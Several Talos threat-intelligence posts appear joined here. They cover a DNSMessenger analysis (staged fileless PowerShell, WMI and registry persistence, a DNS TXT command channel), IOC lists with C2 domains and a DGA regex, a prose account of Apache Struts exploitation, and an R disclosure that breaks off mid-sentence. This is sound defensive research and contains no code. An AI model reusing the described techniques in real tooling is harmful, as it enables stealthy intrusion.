Summary

Protection

Talos Scanning Utility

Coverage

Snort Rules

Further Information

This post was authored by Edmund Brumaghin and Colin Grady

Executive Summary

The Domain Name System (DNS) is one of the most commonly used Internet application protocols on corporate networks. It is responsible for providing name resolution so that network resources can be accessed by name, rather than requiring users to memorize IP addresses. While many organizations implement strict egress filtering as it pertains to web traffic, firewall rules, etc. many have less stringent controls in place to protect against DNS based threats. Attackers have recognized this and commonly encapsulate different network protocols within DNS to evade security devices.

Typically this use of DNS is related to the exfiltration of information. Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being completely fileless indicates an attacker who has taken significant measures to avoid detection.

Ironically, the author of the malware called SourceFire out in the malware code itself shortly after we released Cisco Umbrella, a security product specifically designed to protect organizations from DNS and web based threats as described here.

Details

What initially drew our interest to this particular malware sample was a tweet published by security researcher on Twitter (thanks simpo!) regarding a Powershell script that he was analyzing that contained the base64 encoded string 'SourceFireSux'. Interestingly enough, Sourcefire was the only security vendor directly referenced in the Powershell script. We searched for the base64 encoded value 'UwBvAHUAcgBjAGUARgBpAHIAZQBTAHUAeAA=' which was referenced in the tweet, and were able to identify a sample that had been uploaded to the public malware analysis sandbox, Hybrid Analysis. Additionally, when we searched for the decoded string value we found a single search engine result that pointed to a Pastebin page. The hash listed in the Pastebin led us to a malicious Word document that had also been uploaded to a public sandbox. The Word document initiated the same multiple-stage infection process as the file from the Hybrid Analysis report we previously discovered and allowed us to reconstruct a more complete infection process. Analyzing our telemetry data, we were ultimately able to identify additional samples, which are listed in the Indicators of Compromise section of this post.

As a security vendor, we know that we are doing something right when malware authors begin to specifically reference us within their malware. Naturally we decided to take a closer look at this particular sample.

In this particular case, we began by analyzing the Powershell file that had been incorrectly submitted to the public sandbox as a VBScript file, which we are now referring to as 'Stage 3'. It turns out the string referenced earlier is used as a mutex, as you can see in the deobfuscated Powershell below in Figure 1.

Stage 1 Malicious Word Document

As previously mentioned, we identified the source of this infection chain, which was a malicious Microsoft Word document that was delivered to the victim via a phishing email message. Interestingly, the Word document was made to appear as if it were associated with a secure email service that is secured by McAfee. This is likely an effective way to increase the odds of the victim opening the file and enabling macros as McAfee is a well known security vendor and likely immediately trusted by the victim. The document informs the user that it is secured and instructs the user to enable content.

The document uses the Document_Open() function to call another VBA function. The called function sets a long string that defines a Powershell command and includes the code to be executed. The command is then executed using the Windows Management Interface (WMI) Win32_Process object using the Create method.

The code that is passed to Powershell via the command line is mostly Base64 encoded and compressed using gzip, with a small portion at the end that is not encoded which is then used to unpack the code and pass it to the Invoke-Expression Powershell cmdlet (IEX) for execution. This allows the code to be executed without ever requiring it to be written to the filesystem of the infected system. Overall, this is pretty typical for malicious Word documents that we see being distributed in the wild. We noted that while there is a VBA stream that references a download from Pastebin, the samples we analyzed did not appear to make use of this functionality.

We also observed that the AV detection on this particular sample was fairly low (6/54) and that ClamAV was able to successfully detect this particular sample.

Stage 2 Powershell

The execution of the Powershell that is passed to IEX by the Stage 1 Word document is where we begin to observe several interesting activities occurring on an infected system. A function at the end of the Powershell script described in Stage 1 defines the actions for Stage 2 as well as characteristics related to Stage 3.The code in Stage 2 has been obfuscated, and we will refer to the main function used by this stage as 'pre_logic' as the main function used by Stage 3 is referenced as 'logic'.

The 'pre_logic' function present in this stage supports two switches. One is used to determine whether or not to achieve persistence for the next stage of the infection process on the target system. If persistence is selected the other switch defines whether or not the Stage 3 code should be executed once it is staged.

In addition to these two switches, the 'pre_logic' function also supports four parameters which are subsequently passed to the 'logic' function in the next stage of the infection process. These parameters are used to determine what subdomains to use when sending DNS TXT record queries in the next stage of the infection process.

The function then unpacks the Powershell that will be used during the next (Stage 3) stage from a base64 encoded blob located within the Powershell script itself. It also defines some of the code which will be used later, including the function call and parameters to use when executing the next stage of the infection.

If the option to achieve persistence was selected when the 'pre_logic' function was called, the function will then query the infected system to determine how to best achieve persistence. Depending on the access rights of the user account within which the malware is operating, the malware will then query registry paths that are commonly used by malware to achieve persistence.

If operating under an account with Administrator access to the system the script will query and set:

• $reg_win_path: "HKLM:Software\Microsoft\Windows\CurrentVersion"
• $reg_run_path: "HKLM:Software\Microsoft\Windows\CurrentVersion\Run\"

If operating under a normal user account, the script will query and set:

• $reg_win_path: "HKCU:Software\Microsoft\Windows"
• $reg_run_path: "HKCU:Software\Microsoft\Windows\CurrentVersion\Run\"

The script then determines the version of Powershell that is being used on the infected system. If the infected system is using Powershell 3.0 or later, the decoded Stage 3 payload is written to an Alternate Data Stream (ADS) located at '%PROGRAMDATA%\Windows\' and named 'kernel32.dll'.

If the system is running an earlier version of Powershell, the Stage 3 payload is encoded and written to the registry location dictated by the assignment of $reg_win_path earlier with the key name of 'kernel32'. The code to unpack and execute the Stage 3 payload is also later written to the registry location of $reg_win_path with the key name of 'Part'.

Once this has completed, the script will again check to determine the access level of the user running the malware. If the malware has been executed with Administrator permissions, the WMI event subscriptions for '_eventFilter', 'CommandLineEventConsumer', and '_filtertoconsumerbinding' will be removed from the infected system. The malware then establishes its own permanent WMI event subscription, filtered for 'Win32_LogonSession' events and tied to 'CommandLineEventConsumer'. This is what is used to read and execute the Stage 3 payload that was previously stored in the ADS whenever a new logon session is created on the infected system. This is essentially the WMI equivalent of a registry-based run key from a persistence perspective. The Stage 3 malware is by default set to run 'onidle' after 30 minutes. If the switch associated with the execution of Stage 3 was passed to the 'pre_logic' function at the beginning of this stage, the Stage 3 payload will then be executed immediately.

As seen above, the malware also creates a Scheduled Task on the infected system named "kernel32" which is associated with the Stage 3 payload that was stored in the ADS or registry depending on the version of powershell running on the infected system. In analyzing other samples associated with this campaign, we observed that the scheduled task may change across samples.

Stage 3 Powershell

The Stage 3 powershell that is executed by Stage 2 of this infection process was obfuscated primarily through the use of obtuse function and variable names (e.g. ${script:/==\/\/\/==\__/==} instead of $domains). Base64 string encoding was also present throughout the script. Once we deobfuscated it, we found that the script contained a large array of hard coded domain names, with one of them being randomly selected and used for subsequent DNS queries. It is important to note that while the Powershell scripts for stages 3 and 4 contain two arrays of domains, the first array is only used if a failure condition is reached while the sample is using the second array.

The 'logic' function present within this Powershell script randomly selects a C2 domain from the second array in the script and uses this domain to perform an initial lookup. If the result of the initial DNS TXT record request is empty or in the case the lookup fails, the 'do_lookup' function is then called and randomly selects a domain from the first array in the script. Interestingly, the domains used by the 'do_lookup' function did not appear to have active 'www' or 'mail' TXT records.

The script also uses specific subdomains which are combined with the domains and used for the initial DNS TXT record queries performed by the malware. The malware uses the contents of the TXT record in the response to these queries to determine what action to take next. For instance, the first subdomain is 'www' and a query response with a TXT record containing 'www' will instruct the script to proceed. Other actions that may be taken are 'idle' and 'stop'.

Once the initial DNS response is received by the malware, it then iterates to the next subdomain which is 'mail'. The malware uses this domain in another DNS TXT record query to attempt to retrieve the Stage 4 payload associated with this infection process. The response to this DNS request results in the transmission of the fourth stage malware, stored within the TXT record as displayed in Figures 10 and 11. Due to the size of the Stage 4 payload, DNS makes use of TCP for this transaction.

Another view showing the Wireshark interpretation of the DNS protocol and packet payload is below.

The code associated with this fourth stage is then cleaned and passed into the Invoke-Expression Powershell cmdlet (IEX) and executed within the context of the third stage process. The fourth stage payload is not autonomous and simply attempting to execute the fourth payload itself will fail, as it relies upon a decode function present within the third stage Powershell script.

This function is responsible for a couple of different operations. It takes the code received in the DNS query response and defines a string variable which contains the code. It then calls the decode function from the third stage and passes the decoded string into IEX to further extend the Powershell environment. Once this is complete, it then calls a function in the newly extended environment to execute the fourth stage code along with specific parameters. These parameters include the fourth stage C2 domain to use as well as the program to execute which in this case is the Windows Command Line Processor (cmd.exe). This is interesting because it results in the fourth stage payload never actually being written to the filesystem of the infected system.

Stage 4 Powershell

As described above, the Stage 4 Powershell payload is decoded by the 'dec' function present within Stage 3. At the end of the Stage 4 payload is a call to the 'cotte' function, present in the decoded Stage 4 code, which provides additional parameters including the C2 domain to use as well as the program to execute (cmd.exe). When the function executes cmd.exe it redirects STDIN, STDOUT, and STDERR to allow the payload to read from and write to the command line processor.

The domain provided to the function call is then used to generate the DNS queries used for the main C2 operations. Just like in the Stage 3 Powershell script, the Stage 4 payload also contains two arrays of hard coded domains, but this stage only appears to make use of the second array.

Every 301st DNS response from main C2 server, the sample sends a separate DNS TXT resolution request to a domain taken from the array described above using the Get-Random cmdlet. This secondary C2 request is to determine whether the malware should continue to run on the infected system. Similar to what we saw with the Stage 3 Powershell script, this request is made to the 'web' subdomain of the secondary C2 domain.

If the secondary C2 server returns a TXT record that contains the string 'stop', the malware will cease operations.

The main C2 channel itself is established through the transmission of a "SYN" message from the infected system to the main C2 server.

Once this is completed, the STDOUT and STDERR output that was captured from the Windows Command Line processor earlier in Stage 4 is transmitted using a "MSG" message. This allows the attacker to send commands to be executed directly by the Command Processor and receive the output of those commands all using DNS TXT requests and responses. This communication is described in greater detail in the following section. Below is the DNS analysis and contents of the query request send from an infected system to the C2 server.

The query domain structure is obfuscated. If we take the DNS request query and run it through a decoding function, we can clearly see that it is the output of the Windows Command Line Processor being sent to the C2 server.

This clearly illustrates the establishment of an interactive C2 channel that can be used to execute system commands as well as receive the output of those commands.

Command and Control (C2) Communications

The C2 domains associated with the infection chain from the malicious Word document were initially registered on 2017-02-08. The domains associated with the Powershell sample that we analyzed from Hybrid Analysis were initially registered on 2017-02-18. Several of the domains were registered by a registrant account using the following email address:

valeriy[.]pagosyan[@]yandex[.]com

The remaining domains were registered using the NameCheap proxy registration service.

According to data available within Umbrella, the majority of DNS activity related to the domains used by the powershell sample appears to have occurred between 2017-02-22 and 2017-02-25. There was less activity associated with the other identified sample, with most occurring on 2017-02-11.

All C2 communications associated with this malware are performed using DNS TXT queries and responses. The interactive 'MSG' queries require the successful establishment of a C2 communications channel via the use of the prerequisite 'SYN' query. The messages consist of the following elements:

$session_id - A four digit number that is initially generated by infected machines. It never changes and is included in all subsequent DNS queries and responses.

$sequence_num - A four digit number that is initially generated by infected machines. It changes periodically during C2 communications and the new value must be included in the next query.

$acknowledgement_num - A four digit number that is set by the response to the 'SYN' message. This value does not appear to change and must be included in all subsequent 'MSG' queries.

Bytes 5 and 6 of the DNS queries and responses determine the message type and can be any of the following values:

    00 - 'SYN' message

    01 - 'MSG' message

    02 - 'FIN' message

The 'MSG' queries which are used to send commands to execute and return the output of the executed commands are hex-encoded and use a dot separator after every 30 bytes.

The following diagram illustrates the overall flow of the C2 communications. Note that during C2, there may be several 'MSG' queries and responses depending on what the attacker is attempting to execute on an infected host.

Below is a diagram illustrating how the different messages and associated responses are formed.

Conclusion

This malware sample is a great example of the length attackers are willing to go to stay undetected while operating within the environments that they are targeting. It also illustrates the importance that in addition to inspecting and filtering network protocols such as HTTP/HTTPS, SMTP/POP3, etc. DNS traffic within corporate networks should also be considered a channel that an attacker can use to implement a fully functional, bidirectional C2 infrastructure. Cisco Umbrella is a product that can be used specifically for this purpose. In addition to stopping this particular attack, DNS monitoring and filtering can also disrupt a large portion of overall malware infections, as the over 90% of malware makes use of the DNS network protocol at some stage of the infection or post-infection process.

Coverage

Additional ways our customers can detect and block this threat are listed below.

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS orWSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

The Network Security protection ofIPS andNGFW have up-to-date signatures to detect malicious network activity by threat actors.

AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.

Umbrella prevents DNS resolution of the domains associated with malicious activity.

Indicators of Compromise (IOC)

Below are indicators of compromise that can be used to identify the attack described in this post.

Hashes:

f9e54609f1f4136da71dbab8f57c2e68e84bcdc32a58cc12ad5f86334ac0eacf (SHA256)
f82baa39ba44d9b356eb5d904917ad36446083f29dced8c5b34454955da89174 (SHA256)
340795d1f2c2bdab1f2382188a7b5c838e0a79d3f059d2db9eb274b0205f6981 (SHA256)
7f0a314f15a6f20ca6dced545fbc9ef8c1634f9ff8eb736deab73e46ae131458 (SHA256)
be5f4bfa35fc1b350d38d8ddc8e88d2dd357b84f254318b1f3b07160c3900750 (SHA256)
9b955d9d7f62d405da9cf05425c9b6dd3738ce09160c8a75d396a6de229d9dd7 (SHA256)
fd6e7fc11a325c498d73cf683ecbe90ddbf0e1ae1d540b811012bd6980eed882 (SHA256)
6bf9d311ed16e059f9538b4c24c836cf421cf5c0c1f756fdfdeb9e1792ada8ba (SHA256)

C2 Domains:

algew[.]me
aloqd[.]pw
bpee[.]pw
bvyv[.]club
bwuk[.]club
cgqy[.]us
cihr[.]site
ckwl[.]pw
cnmah[.]pw
coec[.]club
cuuo[.]us
daskd[.]me
dbxa[.]pw
dlex[.]pw
doof[.]pw
dtxf[.]pw
dvso[.]pw
dyiud[.]com
eady[.]club
enuv[.]club
eter[.]pw
fbjz[.]pw
fhyi[.]club
futh[.]pw
gjcu[.]pw
gjuc[.]pw
gnoa[.]pw
grij[.]us
gxhp[.]top
hvzr[.]info
idjb[.]us
ihrs[.]pw
jimw[.]club
jomp[.]site
jxhv[.]site
kjke[.]pw
kshv[.]site
kwoe[.]us
ldzp[.]pw
lhlv[.]club
lnoy[.]site
lvrm[.]pw
lvxf[.]pw
mewt[.]us
mfka[.]pw
mjet[.]pw
mjut[.]pw
mvze[.]pw
mxfg[.]pw
nroq[.]pw
nwrr[.]pw
nxpu[.]site
oaax[.]site
odwf[.]pw
odyr[.]us
okiq[.]pw
oknz[.]club
ooep[.]pw
ooyh[.]us
otzd[.]pw
oxrp[.]info
oyaw[.]club
pafk[.]us
palj[.]us
pbbk[.]us
ppdx[.]pw
pvze[.]club
qefg[.]info
qlpa[.]club
qznm[.]pw
reld[.]info
rnkj[.]pw
rzzc[.]pw
sgvt[.]pw
soru[.]pw
swio[.]pw
tijm[.]pw
tsrs[.]pw
turp[.]pw
ueox[.]club
ufyb[.]club
utca[.]site
vdfe[.]site
vjro[.]club
vkpo[.]us
vpua[.]pw
vqba[.]info
vwcq[.]us
vxqt[.]us
vxwy[.]pw
wfsv[.]us
wqiy[.]info
wvzu[.]pw
xhqd[.]pw
yamd[.]pw
yedq[.]pw
yqox[.]pw
ysxy[.]pw
zcnt[.]pw
zdqp[.]pw
zjav[.]us
zjvz[.]pw
zmyo[.]club
zody[.]pw
zugh[.]us
cspg[.]pw

Win.Ransomware.Cerber-5901829-0

Ransomware

Cerber is a ransomware variant which encrypts a user's personal data such as office documents, pictures, and music. Cerber also attempts to exfiltrate browser history. If Cerber is unable to reach C2 server specific domain names, it will ping specific IP Address ranges over TCP on port 6892.

Indicators of Compromise

Registry keys created

Key	Value name	Value data
HKEY_USERS\Software\Microsoft\ Windows\ShellNoRoam\MUICache	C:\WINDOWS\system32\ mshta.exe	Microsoft (R) HTML Application host
HKEY_LOCAL_MACHINE\SYSTEM\Cont rolSet001\Control\Session Manager	PendingFileRenameOper ations	\??\C:\001984854a008441d5a8804 10dd582a0ee6f68bbc0068abeab1f4 df1ae0b8af9.exe

Registry keys modified

• N/A

Mutex Created

• shell.{3EB72F14-EB8C-7844-D6B0-CDB105275440}

Files Created

Cerber drops a file named README.hta in all places it's encrypting files and on disk in the following locations:

• %HOMEDRIVE%\README.hta
• %APPDATA%\Microsoft\Windows\Cookies\Low\README.hta
• %ALLUSERSPROFILE%\Sample Pictures\README.hta
• %ALLUSERSPROFILE%\Cookies\README.hta
• %HOMEPATH%\Contacts\README.hta
• %HOMEPATH%\Desktop\README.hta
• %TEMP%\README.hta

Note that this is a non-exhaustive list.

IP Addresses

• 104.16.149.172
• 194.165.16.0/24
• 194.165.17.0/24
• 194.165.18.0/24
• 194.165.19.0/24

Domain Names

A DGA algorithm is used to generate the host and the domains name in use. Currently hosts contacted look like:

• vyohacxzoue32vvk.[a-z0-9]{6}.(bid | top)
• btc.blockr.io

More generic domains can be identified with with regex: [a-z0-9]{16}.[a-z0-9]{6}.(top|bid)

Example:

• hjhqmbxyinislkkt.1mvku2[.]top

File Hashes

• 001984854a008441d5a880410dd582a0ee6f68bbc0068abeab1f4df1ae0b8af9
• f1246caf5b90ffaa5dc03d7c74be88c866627730e79c8da722799b11c576afaa
• bdb7527abf68bd948502dcbd8663382b822910344c21fce1ac9bc0036cb26274
• b48cec5ed5334f1526308bd9e40cde4877265fad488fd6d7935bd6b19edb196a
• 349ed9b9bd21ef37e31b062793b5648f87607b8815a32d425dca5a322d4e5b9e
• cd96f99b90ed85833ac19508d9c445a7352c971819e68073789aaf827fc21c2a
• c441013fcffe2b8bc71c4254882341883eab29db3eab05148c25b747113447ab
• 553d1a73ad634922ad77a317ca3ccd6a0b27a5d67b3429d0f08ea7c7b9967401
• 11a375d808fe0d440bbb6808766fc648a210b5621ae80908673b4f358ebae8ff
• 623c520afc9b32b4777accd9cb9b4422f49a53fc9fe6ff7dc21b7ffd783563ed
• bc753af8a4b203091fb6924e8f88a180e259ac77500eb056b7d04d840ee884e4
• ffde0727f1b487d1a7b84912a2d923e5a7e5443673bee34e89acfd70ef7b1918
• 182dee2062bbbefad0090da61a8b4bdf9d95fa7db621fac9725ad165505b4f1b
• d5ffa9e5b51342eb7c6df5fe7cd60d95ad74955617524148b6e20bc054f0d151
• 938986cb2e87323e482e9d772200157abcacbbe9f962f197276555f750b24c25
• e5ecdb92220696f09ad3500d8e52da3ecfb4f6e00cce6d0a9f224b30e7071394
• b48e859aa8e297cf0bf6bb312c8845f18c4b822e84f6196ffde4d6a08530efd7
• d2c8cc05a9ff073b7cf20026dee5f75a40125babb3c511e22627c9b2e4cf4c44
• 435b6935c28a3aad18a0d065c5ed851b797ae6963ae151b96628fff6d1bd8b59
• 63e1232a12bf86e1bdf9c1527b64eb3e6ae7cd1edb29ce9e2d518912e42d53aa
• 515e6c0cc23d0f8ff7a57737fbc1a7f06cdc86a46985086f91e39afa6d884da7
• c8e32211dc0e0f5477d5424831f1261786adbca862c63f581d88d4448ecdbf1a
• 1180dac56afb5cdb93f910f4f1e9abcb2584462186ec26b7cc7fae8ae4d99db4
• 082496e6e7f49099ac4fe0f6d0652c3a8a2b87f54b05fcf1efef9e006cfa57a7
• 8fd920aa1a4d2b7e7082758c3fe6212fa664258862bfd05ca977a7e01456a2bf
• facb0523eb66f1b2262a81a5fb898c4ab3012c3ade377833906a43d5942ceff0

Coverage

Detection Engines

ThreatGrid


Umbrella

Malware Screenshots

---

Doc.Macro.Generic-5900096-0

Macro enabled office documents can be used to download malicious software or perform malicious operations on a system. This treat focuses on a common method used in macro code to download malicious software from an external source.

Indicators of Compromise

Registry keys created

• N/A

Registry keys modified

• N/A

Mutex Created

• N/A

Files Created

• C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\<download_file>.exe

IP Addresses

• 89.248.103.159

Domain Names

• www.e-funciona.com

File Hashes

• 3641801c289e5f76ba3a10858567b15a46640ba26ea7d8402eff2016ad4067fc
• 607aaabcff0390969193e26f2e5c6ecebc879686028ca39e29c1a4cf10267378
• 433f3d7209ca4be18b5afdef5651c46ec8f5f955a962f3faf7cc472108ff01d4
• 0e3cc78a6cc51199816d459ba6281e330fee7f4b6e0dd6f9d9c818874651cafa
• a8996fcc148fd2fd82c1551d3d874d7b4550fcab4ad4bdbdf7c5a7f0db7ec70a
• 21cb74721704ed761414a3929dec6d4723416594957a3c3b6075855e4f740729
• 1284cf7a0710e38584d430df6cdabda80c321a124b278e010ca0f2f70ba2e53b
• 1352bacc05c1f5414a1f1393c87044f533d2e3c293d42fae1753e3f55f6898ce
• 8f208af31938adbbcf311317e43e14f8ab181b3038e399e2ba1dff2004c5378e
• f41e5af285ec67f0d08910a91434a5cac4edbcf0bb2713e7773ebe582ccd5d46
• aed55db2b5be215986d182743f07a64d450b26dc4f29007e9ae2192edaf3b924
• 9df62b06bb1c7ff1fcd863d072375c46f6c4132be9dbd89619be1e59993e4d94
• fcc21c98615be7118730e801e15122fad58a8fa75e7d27aff2917694fb465c61
• e89f1ae146aa47bbf5aff559d19b3a91453ef174759a3c4bb2a67c809f6e22c0
• ddaeae452c0c61842316f574ef77fcd3fcba80df4afc4e22a444ec500663bef9
• dd7a69629cc7c0c975bdc18eee9e7b6c38e846854e6ac01900aa0d1ae332fe62
• d8f52f4f6c8b344dcc421577c77746f7175fb74fa1222578092e10b5c0be07be
• ba20e30a94e8a815bddfc099df321cdad7d72927f944cb20ec200bf0291d3398
• b195291047d3c48738c48bbb604f4c5e85aec9dd03ccae29924acc7cff9a03a6
• 8a6f159fa8d744a384ab0dd5047de64e3bf6e99065afd35e96f42fb832230f9b
• 814b26f19c396af49ba0d39d434ab30c994984426996dc11c6f7418d80648609
• 70a18da4a41d5aa74b943f8c9a0572e8324d66826f64de7ea548e58a89cacaa5
• 4e21a3b4ebc76407f70f2b9d9e3a30eec54e4fbeaa64020ac0648873c52b5905
• 4b895aaf6631ae677efc53ba9e416a444bc78df3cd2e3da400aa2968a9ae8db2
• 4b759728a284da96aefe30ea5f4b668d96dccd8c2f9630bf6786eb26b5650a06

Coverage

Detection Engines

ThreatGrid

Umbrella

---

Win.Trojan.Infostealer-5900674-0

Trojan (credential stealer)

Infostealer is a Windows trojan & acts as a stealer for credentials submitted through the Mozilla Firefox & Google Chrome web browsers. It uses a SQLite database to store the harvested credentials. Observed samples were written in the Delphi & packed with UPX. With no discernable network traffic during runtime, we suspect that the stolen credentials are held locally for another component in attacks that drop this trojan.

Indicators of Compromise

Registry keys created

• N/A

Registry keys modified

• N/A

Mutex Created

• \BaseNamedObjects\CTF.LBES.MutexDefaultS-1-5-21-2741372430-2673733078-4290318639-500
• \BaseNamedObjects\CTF.Compart.MutexDefaultS-1-5-21-2741372430-2673733078-4290318639-500
• \BaseNamedObjects\CTF.Asm.MutexDefaultS-1-5-21-2741372430-2673733078-4290318639-500
• \BaseNamedObjects\CTF.Layouts.MutexDefaultS-1-5-21-2741372430-2673733078-4290318639-500
• \BaseNamedObjects\CTF.TMD.MutexDefaultS-1-5-21-2741372430-2673733078-4290318639-500
• \BaseNamedObjects\CTF.TimListCache.FMPDefaultS-1-5-21-2741372430-2673733078-4290318639-500MUTEX.DefaultS-1-5-21-2741372430-2673733078-4290318639-500

Files Created

• %TEMP%\sqlite3.dll
• %SystemDrive%\history.txt
• %APPDATA%\moz.tmp
• %TEMP%\0.tmp
• %TEMP%\31379.tmp
• %SystemDrive%\pass.txt

IP Addresses

• N/A

Domain Names

• N/A

File Hashes

• 68f794cefe42c5b746abea703856036fed7ceaf571220874d8b70782d8d81569
• 2940298afc9b926b95a501ae12b28024b2e070eabffe28ca3da0f08f33c2c6c8
• 62aa96177f224e58362278d3424f90ebd4512b61214a36024685b0c7704ec60a
• 6850b01820037dbf2264f43140ff7780c35abef14d8c6e6bd8da9248a1b88943
• 864f375840c009d6260e2ac143dd09404e262b012e1ee4a16902f99004cbc862
• 68f794cefe42c5b746abea703856036fed7ceaf571220874d8b70782d8d81569
• a38ac23db7f5c3343285e3a17d48823756c56e9a946e56fdd9612265c40f9f99
• c8badfa7fe40d9bc10a33c118a75b920b4eb8f2f3d831376c095ba02515c7176
• e8e697802bf0219cb54ab97910d436ef2e7dbe1c2a4abf0b406a42e2507265c1

Coverage

Detection Engines

ThreatGrid

---

Doc.Macro.Laroux-5893719-0

Macro downloader

Macro enabled office documents can be used to download malicious software or perform malicious operations on a system. This threat focuses on a common method used in this malware family to start code execution.

Indicators of Compromise

Registry keys created

• N/A

Registry keys modified

• N/A

Mutex Created

• N/A

Files Created

• N/A

IP Addresses

• N/A

Domain Names

• N/A

File Hashes

• 0e6dcb17c222cf90bec20d6e2f4e7e8ce3c0a6ea3a9960e5914be4eb8dce6cab
• 155a0409cecddf0ac869ca2c15a2b55c746c6f940ee3d8a9f08a91554add7b2d
• d3678428b6939ed19211b5b88a079f33e556d4e547c5acb1eaa148366d0b6e6d
• 13853b3d52b4e19a7a4b1dfb620f6ee28fc02ff3fb6162ebfca3ee6219a30bbc
• 78fcadb4d82afe19799c4a47626a8faf75fc56ecde28bd250f33f90e79c65e42
• 949dcec4d0a79d1296366353794a275b0bea056bb099558f8c231afe8cb9adff
• be1e11932dd5820dc45e3fdcde360af6634dfc0da5cbf9de9b7a717de50b0ec9
• 529239d98ee139cc276daff5db157746a2a421cbe0f7bd870a8f10d51452bb20
• afd854fa48077adb87b3e700f6695c9d5ef74e77353328337ef7c591060f5f89
• d5111633f192a9a83cc39b4d8c9717a0d284a00acc1af4274f85319ac0034505
• 0d1a187f252848e219053845351c3b07d440587d55cc624b0b2d59419ea8a896
• 180caf6d44cdec9c977aac2f2bd2d15ba10477bcba7bccbaba720503dd5eb021
• 4701392544a60dc493e13179ab0b3a709217961353e6e404a40d2278b4dbd6d2
• 4c499c70249e9e953c0b63f13c3d2c368e07b04e0a44cb1b3fd05e4aa4f13f56
• 6921de7df37141ca093a24d1184e4812ce5883cc86383f6435d85ff561c58bc6
• b2de2b00c0494238c04784e7a03307d1680eee4f2e6a8b40df455bf91db8898a
• b332cde3d53ff68390f666f86f270ca005926ae66d47322fac839291518db1ef
• 1bc489abc45a3db159c2d43cb220f3f3e7aaa6d40eba49758150e40c3df03ff2
• 40e498704f3f4f807e807f59c0644e457e1690847d43dcbd43aa1b4d41b41e4a
• 5e930fe0323d09a4e7c10edbc8bf8d51e2826be344a3778695c7adb8eda10ca4
• 66d223fd0f0b2ce642755bb18f876e919c91dfedcdb84ffb79eba2de8b0e10eb
• 6abffacb8a95bf7d67fe7544f2020e90109be89a0a5ec754def98377b361e81f
• 6b03f59727e07f63340c1a1603538c107d2008c08fb34f3f47d6ecb352b391f0
• 7a2e044f1716d2236800dd4dd186cd5224abe779692cd5e0767714798aaa430a
• 7a750bd06456920deeb26929b5bfd8c9a7a0106c917e0aacd79b7b39ba505675

Coverage

Detection Engines

ThreatGrid

Details

TALOS-2017-0280, TALOS-2017-0283

TALOS-2017-0282

Tested Version

Coverage

This Post Authored by Nick Biasini

Talos has observed a new Apache vulnerability that is being actively exploited in the wild. The vulnerability (CVE-2017-5638) is a remote code execution bug that affects the Jakarta Multipart parser in Apache Struts, referenced in this security advisory. Talos began investigating for exploitation attempts and found a high number of exploitation events. The majority of the exploitation attempts seem to be leveraging a publicly released PoC that is being used to run various commands. Talos has observed simple commands (i.e. whoami) as well as more sophisticated commands including pulling down a malicious ELF executable and execution.

With exploitation actively underway Talos recommends immediate upgrading if possible or following the work around referenced in the above security advisory.

Exploitation Attempts

In searching through data Talos was able to find ample examples of the vulnerability being targeted and detection was covered by signatures that were released on 3/7/2017 (41818, 41819).

Simple Probing

Below is an example of some simple probing attacks that are ongoing just checking to see if a system is vulnerable by executing a simple Linux based command.

In this example you can see that the adversary is just running a simple command 'whoami' this could be done to see what user this service is running, ideally root. If a power user was identified the attacker could return with a more sophisticated set of commands. Talos has also observed other commands being run including a simple 'ifconfig' to gather network configuration on the server.

Increased Sophistication

Here is another example of an active attack that has a little more sophistication and a malicious payload.

This example is a little more aggressive with its attack. The steps include stopping the Linux firewall as well as SUSE Linux firewall. Final steps include downloading a malicious payload from a web server and execution of said payload. The payloads have varied but include an IRC bouncer, a DoS bot, and a sample related to the bill gates botnet. This isn't uncommon for Linux based compromise as a payload is downloaded and executed from a privileged account.

Sophistication with Persistence

Below is another attack example that is similar to the previous example that downloads a malicious payload. The difference with this particular example is the attempted persistence. The adversary attempts to copy the file to a benign directory and then ensure that both the executable runs and that the firewall service will be disabled when the system boots.

These are several of the many examples of attacks we are currently observing and blocking. They fall into two broad categories, probing and malware distribution. The payloads being delivered vary considerably and to their credit many of the sites have already been taken down and the payloads are no longer available.

Timeline

The timeline around this particular attack is a little unclear there are a couple of things that have been identified. First is a security advisory from apache that was published on 3/6/2017 next is the release time of the exploit code PoC for this attack.

It was published sometime early afternoon of 03-07-2017. During this time coverage was released by Talos and upon deployment we saw immediate exploitation occurring. This exploitation has continued steadily since. It is likely that the exploitation will continue in a wide scale since it is relatively trivial to exploit and there are clearly systems that are potentially vulnerable.

Recommendation

Apache has released that certain versions of Apache Struts (2.3.32 / 2.5.10.1 or later) are not vulnerable and to upgrade to mitigate this issue, considering this is actively being exploited it is highly recommended that you upgrade immediately. Additionally coverage is available in NGIPS/NGFW to detect this issue.

Coverage

Talos has released the following rules to address this vulnerability. Please note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Defense Center, FireSIGHT Management Center or Snort.org.

Snort SIDs: 41818, 41819

Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.

CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks.

Email Security can block malicious emails sent by threat actors as part of their campaign.

The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors.

AMP Threat Grid sandbox helps identify malicious binaries and build protection into all Cisco Security products.

Cisco Umbrella prevents DNS resolution of the domains associated with malicious activity.

Vulnerability Discovered by Cory Duplantis of Cisco Talos

Overview

Talos is disclosing TALOS-2016-0227 / CVE-2016-8714 which is a buffer overflow vulnerability in the LoadEncoding functionality of the R programming language version 3.3.0. The R programming language is commonly used in statistical computing and is supported by the R Foundation for Statistical Computing. R is praised for having a large variety of statistical and graphical features. The vulnerability is specifically related to the creation of a PDF document.

Details

This vulnerability specifically affects the PDF creation capabilities of R. During the creation of a PDF document, the file containing the encoding array can be specified by the user. The following command can specify the encoding file for a PDF.
